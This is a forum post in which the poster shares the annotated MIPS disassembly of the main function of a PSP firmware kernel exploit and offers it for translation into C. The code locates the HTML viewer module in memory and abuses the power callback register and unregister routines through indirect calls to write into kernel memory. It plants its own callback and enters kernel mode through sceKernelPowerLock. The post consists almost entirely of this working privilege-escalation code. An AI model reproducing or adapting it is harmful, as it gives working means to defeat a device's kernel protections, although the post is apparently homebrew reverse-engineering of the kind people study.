OK here it goes. Only the main function where exploit happens. It's ready to be translated to c code since it's heavily commented.
Oh BTW, this is Chinese version coz the original TN version doesn't work on my PSP 3004.
Code: Select all
; ======================================================
; Subroutine sub_00000484 - Address 0x00000484
; entry point, i.e., the main(void)
sub_00000484: ; Refs: 0x0000009C
0x00000484: 0x27BDFF48 'H..'' - addiu $sp, $sp, -184
0x00000488: 0x03A02021 '! ..' - addu $a0, $sp, $zr
0x0000048C: 0x00002821 '!(..' - addu $a1, $zr, $zr
0x00000490: 0x240600A8 '...$' - addiu $a2, $zr, 168
0x00000494: 0xAFBF00B4 '....' - sw $ra, 180($sp)
0x00000498: 0xAFB200B0 '....' - sw $s2, 176($sp)
0x0000049C: 0xAFB100AC '....' - sw $s1, 172($sp)
0x000004A0: 0x0C0001CD '....' - jal sub_00000734 ; memset(sp, 0, 168) ; a struct, sizeof which is 168, on top of stack
0x000004A4: 0xAFB000A8 '....' - sw $s0, 168($sp)
0x000004A8: 0x240200A8 '...$' - addiu $v0, $zr, 168 ; v0 = 168
0x000004AC: 0xAFA20000 '....' - sw $v0, 0($sp) ; p->size = 168?
0x000004B0: 0x03A02021 '! ..' - addu $a0, $sp, $zr ; a0 is pointer to the struct
0x000004B4: 0x24020013 '...$' - addiu $v0, $zr, 19 ; v0 = 19;
0x000004B8: 0x0C000B64 'd...' - jal sceUtility_CDC3AA41 ; sceUtilityHtmlViewerInitStart
0x000004BC: 0xAFA20010 '....' - sw $v0, 16($sp) ; p->xx = 19;
0x000004C0: 0x04400049 'I.@.' - bltz $v0, loc_000005E8 ; goto out on failure
0x000004C4: 0x3C04000F '...<' - lui $a0, 0xF ; a0 = 0x000F0000
0x000004C8: 0x0C000B80 '....' - jal ThreadManForUser_CEADEB47 ; sceKernelDelayThread(1000000)
0x000004CC: 0x34844240 '@B.4' - ori $a0, $a0, 0x4240 ; 1,000,000
0x000004D0: 0x3C020000 '...<' - lui $v0, 0x0
; Data ref 0x000030C8 "sceVshHV" ; vsh html viewer. search for sceVshHVUtility_Module
0x000004D4: 0x245030C8 '.0P$' - addiu $s0, $v0, 12488
0x000004D8: 0x3C120880 '...<' - lui $s2, 0x880 ; s2 = 0x08800000
0x000004DC: 0x3C110A00 '...<' - lui $s1, 0xA00 ; s1 = 0x0A000000
0x000004E0: 0x02402021 '! @.' - addu $a0, $s2, $zr ; a0 = 0x08800000
loc_000004E4: ; Refs: 0x00000504
0x000004E4: 0x02002821 '!(..' - addu $a1, $s0, $zr ; a1 = "sceVshHV"
0x000004E8: 0x0C00020E '....' - jal sub_00000838 ; strncmp
0x000004EC: 0x24060008 '...$' - addiu $a2, $zr, 8 ; a2 = 8
0x000004F0: 0x54400004 '..@T' - bnel $v0, $zr, loc_00000504 ; if (not match) goto 504;
0x000004F4: 0x26520004 '..R&' - addiu $s2, $s2, 4 ; s2 += 4; ; move forward 4 bytes
0x000004F8: 0x16500005 '..P.' - bne $s2, $s0, loc_00000510 ; match found, goto 510;
0x000004FC: 0x00002821 '!(..' - addu $a1, $zr, $zr ; a1 = 0;
0x00000500: 0x26520004 '..R&' - addiu $s2, $s2, 4
loc_00000504: ; Refs: 0x000004F0
0x00000504: 0x1651FFF7 '..Q.' - bne $s2, $s1, loc_000004E4 ; search from 0x08800000 to 0x0A000000
0x00000508: 0x02402021 '! @.' - addu $a0, $s2, $zr ; a0 = s2;
0x0000050C: 0x00002821 '!(..' - addu $a1, $zr, $zr ; a1 = 0
loc_00000510: ; Refs: 0x000004F8
0x00000510: 0x3C060010 '...<' - lui $a2, 0x10 ; a2 = 0x00100000
0x00000514: 0x0C0001CD '....' - jal sub_00000734 ; memset(0x08800000, 0, 0x00100000);
0x00000518: 0x3C040880 '...<' - lui $a0, 0x880 ; a0 = 0x08800000
0x0000051C: 0x0C0001B4 '....' - jal sub_000006D0 ; v0 = set_k1(0);
0x00000520: 0x00002021 '! ..' - addu $a0, $zr, $zr ; a0 = 0;
0x00000524: 0x2642FD78 'x.B&' - addiu $v0, $s2, -648 ; v0 = s2 - 648; s2 is where sceVshHV locates
0x00000528: 0x0040F809 '..@.' - jalr $v0, $ra; 648 bytes away from string sceVshHV. indirect call to sceUtility_private_2DC8380C, i.e., pspUtilityPowerUnregisterCallback
0x0000052C: 0x3C040808 '...<' - lui $a0, 0x808 ; a0 = 0x08080000
0x00000530: 0x0C000117 '....' - jal sub_0000045C ; ClearCaches()
0x00000534: 0x3C110880 '...<' - lui $s1, 0x880 ; s1 = 0x08800000
0x00000538: 0x2404FFFF '...$' - addiu $a0, $zr, -1
0x0000053C: 0x3C030890 '...<' - lui $v1, 0x890 ; v1 = 0x08900000
0x00000540: 0x8E220000 '..".' - lw $v0, 0($s1)
loc_00000544: ; Refs: 0x00000550
0x00000544: 0x10440006 '..D.' - beq $v0, $a0, loc_00000560 ; j if (v0 == 0xFFFFFFFF)
0x00000548: 0x3C020890 '...<' - lui $v0, 0x890 ; v0 = 0x08900000
0x0000054C: 0x26310004 '..1&' - addiu $s1, $s1, 4 ; s1 += 4
0x00000550: 0x5623FFFC '..#V' - bnel $s1, $v1, loc_00000544 ; search 0xFFFFFFFF from 0x0880000 to 0x0890000. Note that 0xFFFFFFFF proves that power unregister works.
0x00000554: 0x8E220000 '..".' - lw $v0, 0($s1)
0x00000558: 0x0800015A 'Z...' - j loc_00000568
0x0000055C: 0x00000000 '....' - sll $zr, $zr, 0
loc_00000560: ; Refs: 0x00000544
0x00000560: 0x56220003 '.."V' - bnel $s1, $v0, loc_00000570 ; if (s1 != 0x08900000) j. it means we found 0xFFFFFFFF before 0x08900000.
0x00000564: 0x3C040000 '...<' - lui $a0, 0x0
loc_00000568: ; Refs: 0x00000558
0x00000568: 0x0000000D '....' - break 0x0 ; breakpoint exception if not found. i.e., power_unregister fails.
0x0000056C: 0x3C040000 '...<' - lui $a0, 0x0
loc_00000570: ; Refs: 0x00000560 ;
0x00000570: 0x00003021 '!0..' - addu $a2, $zr, $zr ; callback arg is NULL
0x00000574: 0x3C100880 '...<' - lui $s0, 0x880 ; s0 = 0x08800000
; Data ref 0x000030D0 ... 0x00000000 0x00000000 0x00000000 0x00000000
0x00000578: 0x248430D0 '.0.$' - addiu $a0, $a0, 12496 ; callback name is empty string
0x0000057C: 0x0C000B7E '~...' - jal ThreadManForUser_E81CAF8F ; sceKernelCreateCallback
0x00000580: 0x00002821 '!(..' - addu $a1, $zr, $zr ; callback function is NULL
0x00000584: 0x3604CCB0 '...6' - ori $a0, $s0, 0xCCB0 ; a0 =0x0880CCB0
0x00000588: 0x00912023 '# ..' - subu $a0, $a0, $s1 ; a0 -= s1. s1 is where we found 0xFFFFFFFF
0x0000058C: 0x00402821 '!(@.' - addu $a1, $v0, $zr ; a1 is SceUID, the callback handler
0x00000590: 0x2642FD90 '..B&' - addiu $v0, $s2, -624 ; s2 is where sceVshVH locates
0x00000594: 0x0040F809 '..@.' - jalr $v0, $ra ; 624 bytes away from sceVshVH is indirect call to scePower_driver_1A41E0ED, i.e., pspUtilityPowerRegisterCallback
0x00000598: 0x00042102 '.!..' - srl $a0, $a0, 4 ; a0 = sysmem_addr
0x0000059C: 0x0C000117 '....' - jal sub_0000045C ; ClearCaches
0x000005A0: 0x00000000 '....' - sll $zr, $zr, 0
0x000005A4: 0x3C020000 '...<' - lui $v0, 0x0
0x000005A8: 0x36030010 '...6' - ori $v1, $s0, 0x10 ; v1 = 0x08800010
0x000005AC: 0x36044234 '4B.6' - ori $a0, $s0, 0x4234 ; a0 = 0x08804234
; Text ref sub_00000328 (0x00000328)
0x000005B0: 0x24420328 '(.B$' - addiu $v0, $v0, 808
0x000005B4: 0xAC620000 '..b.' - sw $v0, 0($v1) ; our callback stored to 0x08800010
0x000005B8: 0x0C000117 '....' - jal sub_0000045C ; ClearCaches
0x000005BC: 0xAC900000 '....' - sw $s0, 0($a0) ; store 0x08800000 to 0x08804234
0x000005C0: 0x0C000183 '....' - jal sub_0000060C ; disable interrupt
0x000005C4: 0x00000000 '....' - sll $zr, $zr, 0
0x000005C8: 0x00408021 '!.@.' - addu $s0, $v0, $zr ; s0 = old intr
0x000005CC: 0x3C050880 '...<' - lui $a1, 0x880 ; a1 = 0x08800000
0x000005D0: 0x0C000B74 't...' - jal sceSuspendForUser_EADB1BD7 ; sceKernelPowerLock. enter kernel mode
0x000005D4: 0x00002021 '! ..' - addu $a0, $zr, $zr
0x000005D8: 0x0C00019C '....' - jal sub_00000670 ; restore intr
0x000005DC: 0x02002021 '! ..' - addu $a0, $s0, $zr
0x000005E0: 0x0C000B8C '....' - jal LoadExecForUser_05572A5F ; sceKernelExitGame
0x000005E4: 0x00000000 '....' - sll $zr, $zr, 0
loc_000005E8: ; Refs: 0x000004C0
0x000005E8: 0x0C000B88 '....' - jal ThreadManForUser_809CE29B ; sceKernelExitDeleteThread
0x000005EC: 0x00002021 '! ..' - addu $a0, $zr, $zr
0x000005F0: 0x8FBF00B4 '....' - lw $ra, 180($sp)
0x000005F4: 0x00001021 '!...' - addu $v0, $zr, $zr
0x000005F8: 0x8FB200B0 '....' - lw $s2, 176($sp)
0x000005FC: 0x8FB100AC '....' - lw $s1, 172($sp)
0x00000600: 0x8FB000A8 '....' - lw $s0, 168($sp)
0x00000604: 0x03E00008 '....' - jr $ra
0x00000608: 0x27BD00B8 '...'' - addiu $sp, $sp, 184